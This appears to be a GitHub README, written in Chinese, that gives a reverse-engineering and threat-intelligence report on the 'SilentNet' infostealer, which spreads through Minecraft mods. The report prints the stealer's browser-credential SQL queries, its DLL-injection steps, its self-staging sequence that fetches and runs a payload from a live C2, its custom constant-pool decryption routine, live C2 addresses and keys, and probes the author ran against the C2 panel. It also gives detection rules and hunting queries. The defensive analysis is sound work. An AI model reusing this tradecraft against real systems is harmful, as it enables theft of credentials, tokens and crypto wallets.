destiny-creates/silentnet

GitHub: destiny-creates/silentnet

一份针对 SilentNet 多阶段信息窃取恶意软件的完整逆向分析与威胁情报报告。

Stars: 0 | Forks: 0

# SilentNet Infostealer — 完整恶意软件分析报告 ## 目录 1. [执行摘要](#executive-summary) 2. [威胁概述](#threat-overview) 3. [阶段 1 — Java 启动器](#stage-1--java-launcher) 4. [阶段 2 — Python Stealer](#stage-2--python-stealer) 5. [区块链 C2 基础设施](#blockchain-c2-infrastructure) 6. [完整模块架构](#complete-module-architecture) 7. [功能深度剖析](#capability-deep-dive) 8. [DLL 注入机制](#dll-injection-mechanism) 9. [解密与逆向工程方法](#decryption-and-reverse-engineering-method) 10. [在线 C2 扫描结果](#live-c2-scan-results) 11. [失陷标示](#indicators-of-compromise) 12. [防御建议](#defensive-recommendations) 13. [源文件索引](#source-files-index) ## 执行摘要 | 属性 | 值 | |---|---| | **类型** | 多阶段信息窃取程序 | | **主要目标** | Windows x86-64,游戏社区 | | **传播途径** | Minecraft 模组、整合包、Discord | | **阶段 1** | mypyc 编译的 Java 启动器 | | **阶段 2** | Nuitka 编译的 Python 3.12 扩展 (`.pyd`) | | **C2 机制** | Polygon 智能合约 (区块链) | | **当前 C2** | `thisisafalsepositive.st` → `185.178.208.191` | | **托管服务** | DDoS-Guard (俄罗斯) — 抗投诉/防弹主机 | | **首次发现** | 2026-01-18 (合约部署) | | **目标浏览器** | 17 款 Chromium 系 + Firefox | | **目标加密钱包** | 13 款桌面钱包 + 所有浏览器扩展 | | **其他目标** | Discord, Steam, Telegram, Roblox, OBS, Mullvad VPN, FileZilla, WinSCP, Riot Games, Claude AI, SSH 密钥 | ## 威胁概述 ### 传播链 ### 关键区别特征 - **区块链 C2**:Polygon 智能合约存储当前域名 — 无法被查封或接管 - **DLL 注入**:注入活动的浏览器进程以窃取凭据,而不会终止它们 - **DNS-over-HTTPS**:所有 DNS 在 socket 层面通过 Cloudflare DoH 进行修补 — 绕过企业 DNS 监控 - **Nuitka 编译**:Python 源码编译为原生 x64 PE — 击败所有 Python 反编译器 - **自定义加密算法**:常量池使用滚动 XOR + 256 字节替换表 (S-box) 加密 - **自部署 (Self-staging)**:下载并安装其自带的便携版 Python 3.12 运行时 - **C2 欺骗**:故意将域名命名为 `thisisafalsepositive.st` 以愚弄分析人员 ## 阶段 1 — Java 启动器 | 属性 | 值 | |---|---| | 格式 | Java JAR (mypyc 编译) | | C2 解析器 | 查询 Polygon RPC 端点 | | 认证 | 基于 HMAC 的 prefireId 生成 | | 传递给阶段 2 的参数 | `--env`, `--tag`, `--mcInfo`, `--prefireId`, `--user-id` | ### 阶段 1 功能 ### main.py — 恢复的明文加载器 `main.py` 是**未混淆的纯 Python 脚本** (353 字节),直接从在线 C2 有效载荷中恢复: ``` import sys, os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) import importlib.util spec = importlib.util.spec_from_file_location("app", os.path.join(os.path.dirname(__file__), "app.pyd")) app = importlib.util.module_from_spec(spec) sys.modules["app"] = app spec.loader.exec_module(app) if __name__ == "__main__": app.run() ``` ## 阶段 2 — Python Stealer | 属性 | 值 | |---|---| | 文件 | `AppHost/app.pyd` | | 格式 | PE32+ DLL (x86-64) | | 编译器 | Nuitka 2.x (Python 转原生) | | Python 版本 | 3.12 (CPython ABI) | | 大小 | 1,848,832 字节 (1.76 MB) | | 入口点 | `PyInit_app()` → `app.run()` | | 常量池 | `.rsrc` 区段,237,128 字节,熵值 7.99/8.0 | | 常量加密算法 | 滚动 XOR + 256 字节 S-box (自定义) | ### 内置依赖项 ``` requests + certifi + charset_normalizer # HTTPS client adodbapi # Chrome/Edge SQLite via ADO/COM pythoncom + wmi # Windows WMI interface pycryptodome # AES-GCM, PBKDF2, 3DES Pillow (PIL) # Screenshot capture psutil # RAM/process information vdf # Steam VDF file parser Python 3.12 stdlib # Full stdlib including ctypes, sqlite3 ``` ## 区块链 C2 基础设施 ### 智能合约 | 属性 | 值 | |---|---| | 网络 | Polygon (MATIC) 主网 | | 合约 | `0x9c0a507300fd902787bb193d80fca5ce6e1bff9a` | | 所有者钱包 | `0x6767c6496541b530a5d1d0eb9b80bd5c7bf56767` | | 钱包余额 | 77.49 MATIC (~$50 USD) | | ABI 函数 | `getDomain() returns (string)` | ### 域名轮换历史 | 日期 (UTC) | 域名 | 状态 | |---|---|---| | 2026-01-18 13:19 | 合约部署 | — | | 2026-01-18 13:27 | `sltnnt.ru` | NXDOMAIN | | 2026-05-09 22:18 | `thisisafalsepositive.ru` | NXDOMAIN | | 2026-05-30 — 2026-06-07 | `v3` 至 `v7.thisisafalsepositive.ru` | NXDOMAIN | | 2026-06-07 17:24 | `qasrgaovaf7m.thisisafalsepositive.ru` | NXDOMAIN | | **2026-06-17 13:30** | **`thisisafalsepositive.st`** | **在线活跃** | ### C2 API 端点 | 端点 | 方法 | 用途 | |---|---|---| | `/shard/prefireMc` | POST | 阶段 1 受害者信标,接收 prefireId | | `/shard/submitMinecraftLog` | POST | 提交 Minecraft 会话数据 | | `/cdn/e/` | GET | 下载加密的阶段 2 有效载荷 | | `/submitData` | POST | 上传窃取的凭据 JSON | | `/submitFile` | POST | 文件上传 | | `/submitLogs` | POST | 上传跟踪/调试日志 | | `/auth/login` | GET/POST | 操作员管理面板 | | `/auth/logout` | GET | 操作员会话登出 | ### Polygon RPC 回退列表 (硬编码) ``` https://polygon-rpc.com https://rpc-mainnet.matic.quiknode.pro https://polygon-public.nodies.app https://polygon-bor-rpc.publicnode.com https://1rpc.io/matic https://endpoints.omniatech.io/v1/matic/mainnet/public https://polygon.rpc.subquery.network/public https://api.zan.top/polygon-mainnet https://go.getblock.io/02667b699f05444ab2c64f9bff28f027 https://polygon-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf ``` ## 完整模块架构 ``` app/ |-- __init__.py Entry point, arg parser, orchestration |-- config.py Configuration, argument validation |-- contract.py Polygon smart contract C2 resolver |-- crypto.py AES-GCM, DPAPI, PBKDF2 decryption |-- http.py HTTP session + DoH patch + retry |-- staging.py Self-installer, Python runtime, persistence |-- trace.py Debug trace -> svchost_d.log |-- logging/ | |-- __init__.py HitLog, LoggingManager classes |-- handlers/ | |-- __init__.py | |-- browser.py Chromium credential extraction (17 browsers) | |-- browser_extensions.py Wallet extension file collection | |-- credentials.py Non-browser credentials (20+ applications) | |-- discord.py Discord token extraction + validation | |-- files.py HitFile / FileManager upload classes | |-- firefox.py Firefox credential extraction | |-- keywords.py Keyword-based document search | |-- minecraft.py Minecraft accounts (8 launchers) | |-- screenshot.py Screen capture (PIL -> base64 JPEG) | |-- system_info.py WMI + psutil system fingerprint | |-- wallets.py Desktop crypto wallets (13) |-- resources/ | |-- __init__.py | |-- browser_module.py XOR-encoded injected DLL payload |-- util/ |-- __init__.py |-- crypto.py Low-level DPAPI / AES-GCM |-- dll_injection.py CreateRemoteThread + LoadLibraryA |-- file.py File utilities, zip helpers |-- handle_copy.py Handle duplication (bypass file locks) |-- pipe.py Named pipe IPC with injected DLL |-- process.py SuspendedProcess, kill helpers |-- registry.py Windows registry read wrappers ``` ## 功能深度剖析 ### 浏览器凭据窃取 **目标为 17 款 Chromium 浏览器:** ``` Google Chrome Microsoft Edge Brave Browser Opera Stable Opera GX Vivaldi Yandex Browser 7Star CentBrowser Chedot CocCoc Comodo Dragon Epic Privacy Iridium Slimjet Torch Chromium ``` **每个浏览器配置文件执行的 SQL 查询:** ``` -- Passwords SELECT origin_url, username_value, password_value FROM logins -- Cookies SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies -- Credit cards SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards SELECT guid, value_encrypted FROM local_stored_cvc -- Autofill SELECT name, value FROM autofill -- Browsing history (last 5000 entries) SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000 -- Google OAuth tokens SELECT service, encrypted_token FROM token_service ``` **解密链:** - `v10` 值:通过 `CryptUnprotectData` (ctypes) 调用 Windows DPAPI - `v20` 值:从 `Local State` 文件提取 ABE 密钥,然后使用 AES-256-GCM 解密 - Cookie 值:在执行 AES-GCM 解密前剥离 32 字节的 nonce 头部 **文件锁绕过 (按顺序执行 4 种策略):** 1. 如果浏览器未运行,则直接复制 2. 从所有浏览器进程 ID 获取并使用 `DuplicateHandle` 3. 将 DLL 注入到浏览器进程中,通过命名管道 (named pipe) IPC 接收解密的密钥 4. 终止浏览器进程,然后在终止后进行复制 **Firefox 密钥派生:** ``` SELECT a11 FROM nssPrivate WHERE a11 IS NOT NULL ORDER BY length(a11) DESC SELECT item1 FROM metadata WHERE id = 'password' SELECT fieldname, value FROM moz_formhistory SELECT host, name, value, path, expiry FROM moz_cookies ``` 使用 PBKDF2 (SHA256) + PBES2/3DES 从 `key4.db` 中解密主密钥。 ### Discord Token 窃取 - **客户端:** Discord, Discord Canary, Discord PTB - **路径:** `%APPDATA%/discord/Local Storage/leveldb/` - **Token 正则表达式:** `[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}` - **验证:** 包含 `Authorization: ` 头部请求 `GET https://discord.com/api/v9/users/@me` - 过滤重复、无效和过期的 Token ### 加密钱包窃取 | 钱包 | 路径 | 输出 | |---|---|---| | Exodus | `%APPDATA%/Exodus/exodus.wallet/` | `Exodus.zip` | | Atomic | `%APPDATA%/atomic/` | `Atomic.zip` | | Electrum | `%APPDATA%/Electrum/wallets/` | `Electrum.zip` | | Electrum-LTC | `%APPDATA%/Electrum-LTC/wallets/` | `Electrum-LTC.zip` | | Zcash | `%APPDATA%/Zcash/` | `Zcash.zip` | | Armory | `%APPDATA%/Armory/` | `Armory.zip` | | Bytecoin | `%APPDATA%/Bytecoin/` | `Bytecoin.zip` | | Jaxx | `com.liberty.jaxx/file__0.indexeddb.leveldb` | `Jaxx.zip` | | Ethereum | `%APPDATA%/Ethereum/` | `Ethereum.zip` | | Guarda | `%APPDATA%/Guarda/` | `Guarda.zip` | | Coinomi | `%APPDATA%/Coinomi/` | `Coinomi.zip` | | CakeWallet | `com.cakewallet.cake_wallet` | `CakeWallet.zip` | | Monero | `%APPDATA%/Monero/` | `Monero.zip` + `Monero_AppData.zip` | 浏览器钱包扩展:所有 `Local Extension Settings` 目录将被压缩并上传。 ### 凭据文件窃取 | 应用程序 | 窃取的文件 | 输出 | |---|---|---| | Git | `.git-credentials` | `Git_Credentials.txt` | | SSH | `.ssh/` 目录 | `SSH_Keys.zip` | | FileZilla | `recentservers.xml`, `sitemanager.xml` | `FileZilla_RecentServers.xml`, `FileZilla_SiteManager.xml` | | WinSCP | `WinSCP.ini`, `WinSCP_Config.ini` | 同名文件 | | Riot Games | `RiotGamesPrivateSettings.yaml`, `RiotGames_Settings.yaml` | 同名文件 | | Thunderbird | 所有配置文件 | `Thunderbird_Profiles.zip` | | Claude AI | `.claude/.credentials.json` | `Claude_Credentials.json` | | Telegram | `tdata/` (排除 media_cache) | `Telegram_Data.zip` | | Roblox | 经 DPAPI 解密的会话 Cookie | `RobloxCookies.dat`, `Roblox_Cookies.txt` | | OBS Studio | 来自所有配置文件的推流密钥 | `_StreamKey.json` | | Mullvad VPN | CLI 账户查询 | `Mullvad_Account.txt` | | Steam | `loginusers.vdf`, `local.vdf` DPAPI token | `Steam_Tokens.txt` | ### Minecraft 处理器 **目标为 8 款启动器:** | 启动器 | 文件 | |---|---| | Vanilla | `.minecraft/` | | Lunar Client | `lunar_accounts.json` | | Feather Launcher | `account.txt` (DPAPI 加密), `feather_accounts.txt` | | GG Essential | `essential_accounts.json` | | Microsoft | `microsoft_accounts.json` | | Prism Launcher | `prismlauncher_accounts.json` | | Modrinth | `app.db` SQLite | ``` SELECT username, uuid, access_token FROM minecraft_users ``` 此外还会解析 `servers.dat` (NBT 格式),并将服务器列表提取保存为 `Minecraft_Server_List.txt`。 ### 部署与持久化 ``` 1. Check persistence via local HTTP server on 127.0.0.1 -> If already running: skip (UUID: 4015d0e9-4cab-4ac1-8dfd-5ee8f283bca1) 2. Download Python 3.12.7: https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip 3. Patch python312._pth: uncomment 'import site' 4. Download pip: https://bootstrap.pypa.io/get-pip.py 5. Install pip, then install requirements.txt from C2 6. Download main.py + app.pyd from C2 /cdn/e/ 7. Decrypt (Fernet/AES), write to disk 8. Launch in background thread (staging-worker) 9. Log all activity to svchost_d.log ``` ### HTTP 与网络层 **User-Agent (伪造的,可检测):** ``` Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 ``` **DNS-over-HTTPS 修补:** 所有的 DNS 解析都在 `socket.getaddrinfo` 级别进行了 monkey-patch。 所有主机名都通过 `https://cloudflare-dns.com/dns-query` 进行解析。 例外情况:`cloudflare-dns.com` 本身使用原生解析。 **每个请求中包含的自定义 C2 标头:** ``` X-Runtime-Env: <--env argument value> X-Tracking-ID: <--prefireId value> X-Edge-Cache-Revalidate: (always present) ``` ## DLL 注入机制 `resources/browser_module.py` 包含一个经 XOR 编码的 Windows DLL,被注入到活跃的浏览器进程中,以在不终止浏览器的情况下窃取凭据。 ``` 1. XOR-decode DLL bytes from browser_module.py constant pool 2. Write DLL to %TEMP%\.tmp 3. Get all PIDs for target browser (chrome.exe, msedge.exe, brave.exe...) 4. VirtualAllocEx(pid, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE) 5. WriteProcessMemory(pid, alloc_addr, dll_path_bytes) 6. CreateRemoteThread(pid, NULL, 0, LoadLibraryA, alloc_addr, 0, NULL) 7. CreateNamedPipe(\\.\pipe\) 8. ConnectNamedPipe() -> wait for injected DLL to connect 9. WriteFile(pipe, aes_key) -> send browser Local State AES key 10. ReadFile(pipe) -> master_key -> receive decrypted master key ``` **PID 到管道标签转换:** `rotl32` 函数 — 与 Java 阶段 1 实现匹配,跨语言 IPC。 ## 解密与逆向工程方法 ### 挑战 `app.pyd` 是经 Nuitka 编译的原生 Windows DLL。所有 Python 源码、字符串字面量和常量都存储在 `.rsrc` 区段 (237 KB,熵值 7.99/8.0) 中,并在运行时通过 `FindResourceA` / `LoadResource` / `LockResource` 进行解密。 ### 密码 (通过反汇编逆向) ``` # 文件偏移 0x173250 处的 S-box(256 字节) # RVA 0x16CC34 处的 Jump table(8 个条目) case_deltas = [-98, -59, -105, +88, +21, +13, +6, +79] bl = 0 # accumulator rdx = 8 # byte index while rdx < 0x39E48: # 237,128 bytes eax = rsrc[rdx] cl = ((rdx - 8) + bl) & 0xFF ebx = (cl ^ eax) & 0xFF ebx = sbox[ebx] # S-box substitution bl = ebx if rdx >= 0x18: output[rdx - 0x10] = bl bl = (bl + case_deltas[rdx & 7]) & 0xFF rdx += 1 ``` 成功解密了全部 237,128 字节,暴露出 30 个 Python 模块以及 5,000 多个字符串常量。 ## 在线 C2 扫描结果 ### 服务器指纹 | 属性 | 值 | |---|---| | 真实 IP | `185.178.208.191` | | 架构 | DDoS-Guard (代理) -> nginx -> Python Flask | | 托管服务 | DDoS-Guard (俄罗斯) — 抗投诉/防弹主机 | | DNS NS | `dean.ns.cloudflare.com`, `luciane.ns.cloudflare.com` | | TLS 颁发者 | Let's Encrypt / CN=YR1 | | TLS 颁发时间 | 2026-06-17 12:36 UTC (与链上域名轮换日期匹配) | | TLS SHA1 指纹 | `57:FA:98:59:74:BF:A8:FA:91:48:F0:10:D1:99:DB:05:1A:48:4A:84` | | TLS 到期时间 | 2026-09-15 | | nginx 泄露途径 | TRACE 方法 405 响应体 | ### 端点映射 | 端点 | 方法 | 状态码 | 备注 | |---|---|---|---| | `/` | GET | 302 | 重定向至 `/auth/login` | | `/auth/login` | GET | **403** | 管理面板 — 受 IP 白名单限制 | | `/auth/login` | OPTIONS | **200** | CORS 预检成功 — 允许的方法:GET, POST, OPTIONS, HEAD | | `/auth/login` | PUT/PATCH/DELETE | 405 | Flask 不允许的方法 | | `/auth/logout` | GET | **403** | 确认端点存在 (非 404) | | `/dashboard` | GET | 308 | 永久重定向至 `/auth/login` | | `/favicon.ico` | GET | **200** | 270 KB Windows BMP ICO | | `/shard/prefireMc` | GET | **405** | 端点存在,期望使用 POST | | `/shard/prefireMc` | POST | 403 | IP 被阻止 | | `/shard/submitMinecraftLog` | POST | 403 | 端点确认 | | `/cdn/e/3b8f6d2a9c1e` | GET | **200** | **在线有效载荷 — 正在活跃分发** | ### 403 绕过尝试 | 技术 | 结果 | |---|---| | X-Forwarded-For 欺骗 (127.0.0.1, 192.168.x.x) | 403 — 未绕过 | | 路径规范化变体 (`/auth//login`, `/./auth/login`, `/%61uth/login`) | 403 或 404 | | HTTP 方法切换 (PUT, PATCH, DELETE) | 405 — 方法被拒绝 | | Host 头部注入 (127.0.0.1, localhost) | **503** — 暴露了 DDoS-Guard 后端检测 | | OPTIONS 方法 | **200** — CORS 配置错误;未返回 `Access-Control-Allow-Origin` | ### 在线有效载荷 — V2 (下载于 2026-07-20 18:05 UTC) | 属性 | V1 (原始样本) | V2 (在线活跃) | |---|---|---| | 加密方式 | AES-128-CBC (原始) | Python Fernet (AES-128-CBC + HMAC-SHA256) | | 加密密钥 | `207570de60034b19d76df8e7aefc69b7` | `74af664f79d1ef1436a4bf301788c7eb207570de60034b19d76df8e7aefc69b7` | | 密钥关系 | 原始 AES-128 密钥 | 旧 AES 密钥 = 新 Fernet 密钥的最后 16 字节 | | Fernet 时间戳 | 不适用 | 2026-07-20 18:05 UTC (在我们的分析期间被重新加密) | | `app.pyd` SHA256 | `1280ff5f2c4a59e8a9...` | **完全一致** | | 阶段 1 mypyc 组件 | `81d243bd2c585b0f...` | `52056f4b964f1bc0...` (已更新) | | 捆绑文件数量 | 736 | 736 | ### 操作员行为评估 | 观察结果 | 评估 | |---|---| | 有效载荷在我们分析后数小时内被重新加密 | 操作员近乎实时地监控 CDN 访问日志 | | 将 AES-CBC 升级为 Fernet (增加了 HMAC 完整性) | 对已知解密方法的响应 — 试图进行强化 | | Stealer `app.pyd` 保持不变 | 操作员优先考虑速度,而非更新 Stealer 逻辑 | | 阶段 1 mypyc 组件已更新 | 新的活动构建或启动器错误修复 | | 管理面板仅限操作员 IP 段访问 | 正在使用 DDoS-Guard 白名单 | | Fernet 密钥预嵌入在 v1 二进制文件中 | OPSEC 失败 — 未执行完整的密钥轮换 | ## 失陷标示 ### 网络 IOC | 类型 | 值 | 状态 | |---|---|---| | IP | `185.178.208.191` | **在线活跃** | | 域名 | `thisisafalsepositive.st` | **在线活跃** | | 域名 | `thisisafalsepositive.ru` | NXDOMAIN | | 域名 | `sltnnt.ru` | NXDOMAIN (回退) | | 域名 | `v3` 至 `v7.thisisafalsepositive.ru` | NXDOMAIN | | User-Agent | `...Chrome/142.0.0.0 Safari/537.36` | 异常 | | HTTP 标头 | `X-Runtime-Env` | C2 信标标记 | | HTTP 标头 | `X-Tracking-ID` | C2 会话标记 | | HTTP 标头 | `X-Edge-Cache-Revalidate` | C2 标记 | | URL 特征 | `/cdn/e/[a-z0-9]+` | 有效载荷下载 | | TLS SHA1 | `57:FA:98:59:74:BF:A8:FA:91:48:F0:10:D1:99:DB:05:1A:48:4A:84` | C2 证书 | ### 区块链 IOC | 类型 | 值 | |---|---| | Polygon 合约 | `0x9c0a507300fd902787bb193d80fca5ce6e1bff9a` | | 操作员钱包 | `0x6767c6496541b530a5d1d0eb9b80bd5c7bf56767` | | 暴露的 RPC API 密钥 | `xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf` | ### 加密 IOC | 类型 | 值 | |---|---| | 阶段 1 AES-128 密钥 | `207570de60034b19d76df8e7aefc69b7` | | 阶段 2 Fernet 密钥 (v2) | `74af664f79d1ef1436a4bf301788c7eb207570de60034b19d76df8e7aefc69b7` | | 部署 UUID | `4015d0e9-4cab-4ac1-8dfd-5ee8f283bca1` | | V1 有效载荷 SHA256 | `23ab6a5d46f20bc8fe23800195558cb99caacf43e2ecd80f7090f74fe0fe1068` | | V2 有效载荷 SHA256 | `69a74db222b5c001ce0f25b93e4a1f5ab591fb263c9499c62b79f9ff3d633ee3` | | `app.pyd` SHA256 | `1280ff5f2c4a59e8a9301d8e2eb7c2e9774ec6026a48905c52d23fb1974438bf` | ### 文件系统 IOC | 路径 | 用途 | |---|---| | `%TEMP%\svchost_d.log` | Stealer 调试日志 | | `%TEMP%\*.tmp` | 注入的 DLL (临时) | | `%LOCALAPPDATA%\python.exe` | 暂存的 Python 运行时 | | `%LOCALAPPDATA%\python312._pth` | 被修改以启用 site-packages | | `%LOCALAPPDATA%\pip.exe` | 暂存的 pip | ### 注册表 IOC ``` HKLM\SOFTWARE\Valve\Steam HKLM\SOFTWARE\Wow6432Node\Valve\Steam HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths ``` ### 进程与管道 IOC | 类型 | 值 | |---|---| | 命名管道特征 | `\\.\pipe\[0-9a-f]{8}` | | 部署 UUID 检查 | 位于 `127.0.0.1` 的本地 HTTP 服务器 | | DLL 注入目标 | `chrome.exe`, `msedge.exe`, `brave.exe` (通过 `CreateRemoteThread`) | ### 正则表达式 IOC ``` Discord token: [\w-]{24}\.[\w-]{6}\.[\w-]{25,110} Browser profile: ^(Default|Profile\s+\d+)$ Telegram exclude: user_data[^/\\]*[/\\](media_cache|cache)($|[/\\]) ``` ## 反分析与规避技术 | ID | 技术 | 详情 | |---|---|---| | E-01 | DNS-over-HTTPS | 所有 DNS 流量在 socket 层面通过 Cloudflare DoH 进行 | | E-02 | 区块链 C2 | Polygon 智能合约 — 无法被查封 | | E-03 | Nuitka 编译 | Python 被编译为原生 x64 PE | | E-04 | 自定义密码 | 在常量池上使用滚动 XOR + 256 字节 S-box | | E-05 | DLL 注入 | 无需终止浏览器即可绕过浏览器文件锁 | | E-06 | 句柄复制 | 通过 `DuplicateHandle` 进行辅助文件锁绕过 | | E-07 | 静默错误 | `SetErrorMode` 抑制所有错误对话框 | | E-08 | C2 域名命名 | `thisisafalsepositive.st` — 社会工程学 | | E-09 | 日志伪装 | `svchost_d.log` 模仿 Windows 服务日志 | | E-10 | Socket 修补 | 在 Python 层面替换了 `getaddrinfo` | | E-11 | 伪造 Chrome 版本 | `Chrome/142.0.0.0` 实际上不存在 | | E-12 | 持久化检查 | 本地 HTTP 服务器防止重复部署 | | E-13 | 大小限制 | Telegram 排除了庞大的缓存目录 | | E-14 | 超时保护 | 所有操作均包含在 3 秒超时限制内 | ## 防御建议 ### 立即处置行动 1. 在边界防火墙阻断 `185.178.208.191` 2. 阻断对 `thisisafalsepositive.st` 和 `sltnnt.ru` 的 DNS 解析 3. 向 rpcfast.com 滥用投诉团队举报 API 密钥 `xbhWBI1Wkguk8SNMu1...` 请求吊销 4. 如果在业务上非必需,在出站防火墙阻断 Polygon RPC 端点 5. 将合约 `0x9c0a507300fd902787bb193d80fca5ce6e1bff9a` 提交给 Polygon 生态系统滥用投诉联系人 ### SIEM / EDR 检测规则 ``` # 异常的 Chrome 版本(Chrome/142 不存在) - rule: HTTP User-Agent contains "Chrome/142" # C2 beacon headers - rule: Outbound HTTP request contains header "X-Tracking-ID" or "X-Runtime-Env" # 来自非浏览器进程的 DNS-over-HTTPS evasion - rule: Outbound HTTPS to cloudflare-dns.com/dns-query NOT from browser process # DLL injection 到浏览器 - rule: CreateRemoteThread where source != chrome.exe AND target IN [chrome.exe, msedge.exe, brave.exe] # Named pipe IPC 模式 - rule: Named pipe created matching pattern [0-9a-f]{8} # 用户目录中的 Python staging - rule: python.exe or pip.exe created in %LOCALAPPDATA% or %TEMP% # Stealer 日志文件 - rule: File created matching svchost_d.log in user profile directories # Payload 下载 - rule: HTTP GET to */cdn/e/* with response size > 10 MB ``` ### 威胁狩猎查询 ``` # Proxy / firewall 日志 dest_domain IN [thisisafalsepositive.st, sltnnt.ru] OR dest_ip = 185.178.208.191 # Polygon RPC outbound(endpoints 不应查询 blockchain) dest_domain IN [ polygon-rpc.com, rpc-mainnet.matic.quiknode.pro, polygon-public.nodies.app, polygon-bor-rpc.publicnode.com, 1rpc.io, endpoints.omniatech.io, api.zan.top ] # 来自 endpoints 的异常 Python 下载 url CONTAINS "python-3.12.7-embed-amd64.zip" OR url CONTAINS "bootstrap.pypa.io/get-pip.py" ``` ## 源文件索引 `source/` 目录包含 30 个重构的 Python 模块文件。每个文件都包含直接从编译后的二进制常量池中提取的所有字符串字面量、SQL 查询、文件路径、类名、函数名和标识符 — 这些是来自原始 Python 源代码的真实字符串。 | 文件 | 块 | 描述 | |---|---|---| | `app.py` | `app` | 入口点,编排调度,参数解析器 | | `app_config.py` | `app.config` | 配置与校验 | | `app_contract.py` | `app.contract` | Polygon C2 域名解析器 | | `app_crypto.py` | `app.crypto` | 加密包装器 (AES/DPAPI/PBKDF2) | | `app_handlers.py` | `app.handlers` | 处理器包初始化 | | `app_handlers_browser.py` | `app.handlers.browser` | Chromium 凭据窃取 (17 款浏览器) | | `app_handlers_browser_extensions.py` | `app.handlers.browser_extensions` | 钱包扩展收集 | | `app_handlers_credentials.py` | `app.handlers.credentials` | 非浏览器凭据窃取 (20+ 款应用) | | `app_handlers_discord.py` | `app.handlers.discord` | Discord Token 窃取 | | `app_handlers_files.py` | `app.handlers.files` | 文件与上传管理 | | `app_handlers_firefox.py` | `app.handlers.firefox` | Firefox 凭据窃取 | | `app_handlers_keywords.py` | `app.handlers.keywords` | 文档关键词搜索 | | `app_handlers_minecraft.py` | `app.handlers.minecraft` | Minecraft 账户窃取 (8 款启动器) | | `app_handlers_screenshot.py` | `app.handlers.screenshot` | 屏幕截图捕获 | | `app_handlers_system_info.py` | `app.handlers.system_info` | WMI 系统指纹提取 | | `app_handlers_wallets.py` | `app.handlers.wallets` | 加密钱包窃取 (13 款钱包) | | `app_http.py` | `app.http` | HTTP + DoH + C2 标头 | | `app_logging.py` | `app.logging` | 日志记录类 | | `app_resources.py` | `app.resources` | 资源包初始化 | | `app_resources_browser_module.py` | `app.resources.browser_module` | XOR 编码的 DLL 有效载荷 | | `app_staging.py` | `app.staging` | 自安装器,持久化机制 | | `app_trace.py` | `app.trace` | 调试跟踪器 | | `app_util.py` | `app.util` | Util 工具包初始化 | | `app_util_crypto.py` | `app.util.crypto` | 底层加密包装器 | | `app_util_dll_injection.py` | `app.util.dll_injection` | 浏览器 DLL 注入器 | | `app_util_file.py` | `app.util.file` | 文件辅助工具 | | `app_util_handle_copy.py` | `app.util.handle_copy` | 通过句柄复制绕过文件锁 | | `app_util_pipe.py` | `app.util.pipe` | 命名管道 IPC | | `app_util_process.py` | `app.util.process` | 进程管理 | | `app_util_registry.py` | `app.util.registry` | 注册表访问 | ## 时间线 | 日期 | 事件 | |---|---| | 2026-01-18 | Polygon 智能合约部署,`sltnnt.ru` 被设置为 C2 | | 2026-05-09 | 域名轮换至 `thisisafalsepositive.ru` | | 2026-06-07 | 快速域名轮换 — 2 小时内更改 5 次 (应对清剿行动) | | 2026-06-17 | 迁移至 `.st` 顶级域 — `thisisafalsepositive.st` (当前,活跃在线) | | 2026-07-20 | 完整恶意软件分析完成;在线 C2 已扫描;V2 有效载荷已下载并解密 | *分析执行时间:2026-07-20* *分析平台:Parrot OS Linux (静态 + 动态分析)* *使用工具:pefile, capstone, unicorn, Frida, objdump, Python 3.12*
标签:JS文件枚举, 端点可见性, 逆向工具